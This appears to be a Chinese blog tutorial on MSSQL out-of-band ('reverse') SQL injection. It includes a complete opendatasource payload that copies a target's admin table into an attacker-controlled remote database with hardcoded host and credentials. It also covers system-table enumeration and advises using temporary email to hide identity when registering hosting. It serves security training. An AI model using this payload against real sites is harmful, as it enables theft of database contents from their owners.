五、注入(4)MSsql注入——反弹注入

当遇到无法直接获取注入结果的情况,可以利用MSSQL的反弹注入技术。该技术通过将查询结果插入到黑客的数据库中,需要网络通畅和自身的MSSQL数据库。重点介绍了opendatasource函数的使用,以及反弹注入的注意事项,如字段类型和数量的匹配,系统库的利用等。此外,还提供了搭建MSSQL环境的建议,如使用免费虚拟空间。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

MSSQL反弹注入

当明明是注入点却无法进行注入

注入工具猜解速度缓慢

错误提示信息关闭

无法返回注入结果等

这时比较好的方法就是使用反弹注入
 

反弹注入原理

1、原理

目标站点把查询数据的结果插入到黑客的数据库里

条件:

1、网络通畅(需要公网ip)

2、自己的MSSQL数据库

2、opendatasource函数

opendatasource(provider_name,init_string)

provider_name参数 MsSQL数据库常写sqloledb,类似接口名称的意思
init_string参数 写连接地址、端口、用户名、密码、数据库名
server=连接地址,端口
uid=用户名
pwd=密码
database=数据库名称

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkap_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe

把select * from admin 的结果插入目标的temp表

server后是插入地址,地址使用在香港云申请的连接地址和用户名,密码

sqloledb是构成通道的固定值,不更改

server后是数据库地址

uid后是数据库用户名

passwd是密码

database是数据库名称

DB_14A5E44_zkaq.dbo.temp是查询数据库dbo(用户创建)里的temp表

例如:

 

插入数据:字段数相同、类型相同

MSSQL中的数据库自带表在sysobjects里面,存储字段的表在syscolumns里,主要字段是name和id,要记住id的数字

 

 

3、其他注意点

(1)因为MySQL的兼容性,所以可以写select 1,2,3这样的语句,但其他数据库的查询内容都要写完整。

select 字段 from 表

 

(2)mysql在联合查询的时候对字段数有严格规定,但对字段类型的规定比较淡。

猜输出点要用null填充

null =>  不存在数据类型

union all select null,null,null from 表名

MsSQL数据库要求联合查询的时候,字段数,字段类型都要一样。

可以把null替换成数字、字符类型,看是否回显正常。猜字段的时候可以使用这种方式去猜。

(3)MsSQL数据库也有系统自带库

sysdatabases   查数据库名

sysobjects   查表名

syscolumns   查字段名
 

查表名会发现有xtype字段,S为system系统创建的,U为User用户创建的
而且每个表都会有一个对应的nameid
所以找用户创建的表可以select name,id from sysobjects where xtype='U'

sysobjects 查询系统表   (xtype='U') 用户创建的表

syscolumns 字段  (id=)指定sysobjects库中表名对应id

 

搭建MSSQL环境

可以申请一个免费的虚拟空间,虚拟空间中开启MSSQL然后直接使用,可以免去MSSQL安装环境且不需要特意购置云服务器来获取一个公网IP。

香港云   http://www.webweb.com/

香港云失效用   https://my.gearhost.com/CloudSite

数据库操作     http://mssqlus.webweb.com

临时邮箱      http://24mail.chacuo.net/

 

注册香港云的虚拟空间

这里使用临时邮箱,以免暴露个人信息

创建数据库

 

要记住数据库地址,用户名和数据库名称!!!!

 

点击My SQL控制台创建数据表

 

适用navicat也可以远程管理香港云的数据库,填写正确对待数据库地址和用户名密码即可

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值